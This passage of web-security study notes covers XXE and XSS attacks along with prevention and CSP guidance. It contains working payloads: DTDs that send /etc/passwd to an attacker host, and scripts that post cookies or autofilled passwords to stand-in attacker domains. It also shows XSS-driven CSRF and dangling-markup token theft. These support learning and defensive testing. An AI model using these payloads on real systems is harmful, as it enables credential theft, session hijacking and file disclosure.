Content-Length: 7  
  
foo=bar  
  
# Tolerates XML instead, at which point, XXE attacks can be attempted  
POST /action HTTP/1.0  
Content-Type: text/xml  
Content-Length: 52  
  
<?xml version="1.0" encoding="UTF-8"?><foo>bar</foo>

### Blind XXE

Detect blind XXE by:

* using out-of-band testing; or
* triggering XML parsing errors.

#### Out-of-band testing (OAST)

The following will make a very specific request to a server controlled by the attacker which will be seen in the logs:

<!DOCTYPE foo [ <!ENTITY xxe SYSTEM "http://f2g9j7hhkax.web-attacker.com"> ]>  
<stockCheck><productId>&xxe;</productId></stockCheck>

It may be possible to bypass XML parsing hardening using parameter entities as well:

<!DOCTYPE foo [ <!ENTITY % xxe SYSTEM "http://f2g9j7hhkax.web-attacker.com"> %xxe; ]>

#### Exfiltrating data using blind XXE

Attacker defines a malicious DTD hosted at http://web-attacker.com/malicious.dtd:

<!ENTITY % file SYSTEM "file:///etc/passwd">  
<!ENTITY % eval "<!ENTITY &#x25; exfiltrate SYSTEM 'http://web-attacker.com/?x=%file;'>">  
%eval;  
%exfiltrate;

They can then submit the following XML payload to a vulnerable application:

<!DOCTYPE foo [ <!ENTITY % xxe SYSTEM "http://web-attacker.com/malicious.dtd"> %xxe; ]>

:bulb: this type of attack may be blocked by responses that contain newline characters. Sometimes this can be bypassed using the FTP protocol rather than HTTP.

#### Retrieving data via XML parsing errors

Attacker defines a malicious DTD hosted at http://web-attacker.com/malicious.dtd:

<!ENTITY % file SYSTEM "file:///etc/passwd">  
<!ENTITY % eval "<!ENTITY &#x25; error SYSTEM 'file:///nonexistent/%file;'>">  
%eval;  
%error;

Submitting the following to a vulnerable application will cause an XML error that leaks the contents of /etc/passwd:

<!DOCTYPE foo [ <!ENTITY % xxe SYSTEM "http://web-attacker.com/malicious.dtd"> %xxe; ]>

#### Reporposing a local DTD

If external entity resolution is disabled, you may be able to redefine a custom entity within a local DTD on the target system.

1. Find a suitable local DTD file by searching for \*.dtd files:

# This will issue an error if the local DTD does not exist  
<!DOCTYPE foo [  
<!ENTITY % local\_dtd SYSTEM "file:///usr/local/app/schema.dtd">  
%local\_dtd;  
]>

1. Redefine a custom entity within the local DTD:

<!DOCTYPE foo [  
<!ENTITY % local\_dtd SYSTEM "file:///usr/local/app/schema.dtd">  
<!ENTITY % custom\_entity '  
<!ENTITY &#x25; file SYSTEM "file:///etc/passwd">  
<!ENTITY &#x25; eval "<!ENTITY &#x26;#x25; error SYSTEM &#x27;file:///nonexistent/&#x25;file;&#x27;>">  
&#x25;eval;  
&#x25;error;  
'>  
%local\_dtd;  
]>

## Finding XXE injection vulnerabilities

* Requests contain XML data: these are obvious vectors for XXE attacks.
* XInclude attacks: occur when the application includes your request in another XML document. Since you do not control the entire document, a new DOCTYPE cannot be added. However, XInclude still allows for XXE:

<foo xmlns:xi="http://www.w3.org/2001/XInclude">  
<xi:include parse="text" href="file:///etc/passwd"/></foo>

* File retrieval: test for well known OS file retrieval such as /etc/passwd or /etc/hosts.
* Blind XXE to trigger SSRF: send requests to systems you control and watch for requests in the logs.

## Prevent

* Disable as many XML processing features as possible.
* Usually disabling external entity resolution and XInclude is enough.

## Tools

* [Burp Proxy](https://portswigger.net/burp/documentation/desktop/tools/proxy/using)
* [Burp Repeater](https://portswigger.net/burp/documentation/desktop/tools/repeater/using)

## References

* https://portswigger.net/web-security/xxe
* https://portswigger.net/web-security/xxe/blind
* https://portswigger.net/web-security/xxe/xml-entities

# Cross-site scripting (XSS) :scissors:

Allows an attacker to masquerade as a victim user and perform actions on their behalf. Works by injecting malicious scripts into a website that execute in the victim's browser.

To test for XSS, inject the JavaScript alert() or print() function to see if they execute. If yes, then XSS is possible.

:warning: Note that print() is now preferable as some browsers are disabling alert().

## Reflected XSS

Malicious script comes from the current HTTP request:

<!-- link: https://insecure-website.com/status?message=<script>print()</script> -->  
<p>Status: <script>print()</script></p>

If the user follows the above URL, the script will execute in their browser.

### Impact

* Perform any action on behalf of the victim with their current session
* View and modify any data the victim can view/modify
* Initiate attacks on other users that will appear to come from the victim

### Limitations

The malicious URL must be delivered to the victim, and executed by them in a context where it can cause damage (e.g. in an authenticated session).

Delivery can be via infected links on other sites, email, text, social media, etc.

## Stored XSS

Persistent or second-order XSS. Caused by a malicious script being stored and executed by the victim in the future. An example is a malicious comment on a blog post.

Safe comment:

POST /post/comment HTTP/1.1  
Host: vulnerable-website.com  
Content-Length: 100  
  
postId=3&comment=This+post+was+extremely+helpful.&name=Carlos+Montoya&email=carlos%40normal-user.net

Malicious comment:

POST /post/comment HTTP/1.1  
Host: vulnerable-website.com  
Content-Length: 100  
  
postId=3&comment=%3Cscript%3E%2F\*%2BBad%2Bstuff%2Bhere...%2B\*%2F%3C%2Fscript%3E&name=Carlos+Montoya&email=carlos%40normal-user.net

### Impact

* Same impacts as reflected XSS with added benefits of:
  + Attacker does not need to find an external method to have the user visit a malicious URL. They wait for the user to visit the vulnerable site.
  + User will likely be logged in when the malicious script executes.

## DOM-based XSS

Similar to reflected XSS, but the malicious script is injected into the DOM and executed in a sink that runs JavaScript.

Common sinks include:

eval()  
document.write()  
document.writeln()  
document.domain  
element.innerHTML  
element.outerHTML  
element.insertAdjacentHTML  
element.onevent

jQuery sinks:

add()  
after()  
append()  
animate()  
insertAfter()  
insertBefore()  
before()  
html()  
prepend()  
replaceAll()  
replaceWith()  
wrap()  
wrapInner()  
wrapAll()  
has()  
constructor()  
init()  
index()  
jQuery.parseHTML()  
$.parseHTML()

Examples of injections:

document.write('... <script>alert(document.cookies)</script> ...');  
element.innerHTML='... <img src=1 onerror=alert(document.domain)> ...'

### Impact

* Same as reflected XSS
* Can also be triggered as stored XSS depending on how the stored attack is injected into the DOM.

## Exploit

### Stealing cookies

Steal the user's site cookies, inject them into a new browser session and perform actions on their behalf.

// Inject into a link the user will click  
<script>  
fetch('https://attacker-comain.com', {  
 method: 'POST',  
 mode: 'no-cors',  
 body:document.cookie  
});  
</script>

#### Limitations:

* User must have an active session
* Application may have blocked JavasScript cookie access with HttpOnly flag.
* User session may have additional protections (CSRF, MFA, IP based restrictions).
* User session may time out before it can be hijacked.

### Capturing passwords from password managers

If a password manager is installed, the password field will be pre-filled with the user's password. This can then be sent back to the attacker.

<!-- Create a a content post (e.g. comment on a blog).  
 The password manager will auto-fill these when the page loads. -->  
<input name=username id=username>  
<input type=password name=password onchange="if(this.value.length)fetch('https://attacker-domain.com',{  
method:'POST',  
mode: 'no-cors',  
body:username.value+':'+this.value  
});">

#### Limitations:

* User must have a password manager installed.
* If MFA is enabled on the user's account, the attack becomes more difficult.

### Use XSS to perform CSRF

Perform actions on behalf of a user, such as changing their account email and then triggereing a password reset to gain access.

<!-- Create a a content post (e.g. comment on a blog).  
 Trigger a change email request when the page loads. -->  
<script>  
var req = new XMLHttpRequest();  
req.onload = handleResponse;  
req.open('get','/my-account',true);  
req.send();  
function handleResponse() {  
 var token = this.responseText.match(/name="csrf" value="(\w+)"/)[1];  
 var changeReq = new XMLHttpRequest();  
 changeReq.open('post', '/my-account/change-email', true);  
 changeReq.send('csrf='+token+'&email=attacker@naughty.com')  
};  
</script>

## Test

1. Submit a short alphanumeric payload into every entry point of the site.
2. Identify where ethat input is returned in the HTTP response.
3. Test if the return context is vulnerably to XSS (any context that executes JavaScript).

### XSS contexts

Locations where an HTTP response can execute JavaScript:

### Raw HTML

Response is dumped directly into the DOM:

<script>alert(document.domain)</script>  
<img src=1 onerror=alert(1)>

### HTML attributes

Response is injected into an HTML attribute. This can be caused by terminating an existing element or adding a new attribute:

"><script>alert(document.domain)</script>  
" autofocus onfocus=alert(document.domain) x="  
<a href="javascript:alert(document.domain)">

### JavaScript sinks

Terminating an existing <script> element or breaking out of a string:

<script>  
var foo = "user controlled data";  
</script>  
  
<!-- Malicious values:  
</script><img src=1 onerror=alert(document.domain)>  
;alert(document.domain)//  
-->

String template literal injection:

<script>  
...  
var input = `controllable data here`;  
...  
</script>  
  
<!-- Include the injection as a template literal:  
${alert(document.domain)}  
-->

## Content Security Policy (CSP) to prevent XSS

Can prevent XSS through the use of a Content-Security-Policy header that prevents execution of JavaScript and resource loading.

# Only allow script execution from same origin as the page  
script-src 'self'  
  
# Script execution from given domain to allow 3rd party scripts  
script-src https://scripts.normal-website.com

A nounce or hash of the script contents can also be specified by the CSP to only load <script> elements that have a matching nounce or that the script contents match the given hash.

The same policies exist for image tags:

# Only allow image load from same origin as the page  
img-src 'self'  
  
# Image load from given domain  
img-src https://scripts.normal-website.com

CSPs can block clickjacking as well with their frame policies:

# Only allow frames from same origin as the page  
frame-ancestors 'self'  
  
# Do not allow frames  
frame-ancestors 'none'  
  
# Frames for given origin and trusted sites  
frame-ancestors 'self' https://normal-website.com https://\*.robust-website.com

:warning: Caution must be taken if user controllable input is used to generate the CSP policy (e.g. the report-uri). If possible, it allows for policy overwrite.

## Dangling markup XSS

Terminating markup to inject malicious scripts:

<input type="text" name="input" value="CONTROLLABLE DATA HERE">

If the controllable data is not escaped, the input can be terminated and all subsequent content forwarded as a GET request to an attacker website.

"><img src='//attacker-website.com?

This technique is used to steal CSRF tokens and other sensitive data.

## Prevent

* Filter all input as strictly as possible.
* Encode data when output to prevent it being interpreted as HTML.
* Use reponse headers to prevent XSS with Content-Type and X-Content-Type-Options if the response is not HTML.
* Use a Content Security Policy (CSP) to prevent the execution of malicious scripts.
* Do not output untrusted input into JavaScript sinks.

## Tools

* [DOM invader](https://portswigger.net/burp/documentation/desktop/tools/dom-invader)
* [Burp collaborator (pro)](https://portswigger.net/burp/documentation/collaborator)
* [Burp web vulnerability scanner](https://portswigger.net/burp/vulnerability-scanner)

## References

* https://portswigger.net/web-security/cross-site-scripting
* https://portswigger.net/web-security/cross-site-scripting/cheat-sheet
* https://portswigger.net/research/alert-is-dead-long-live-print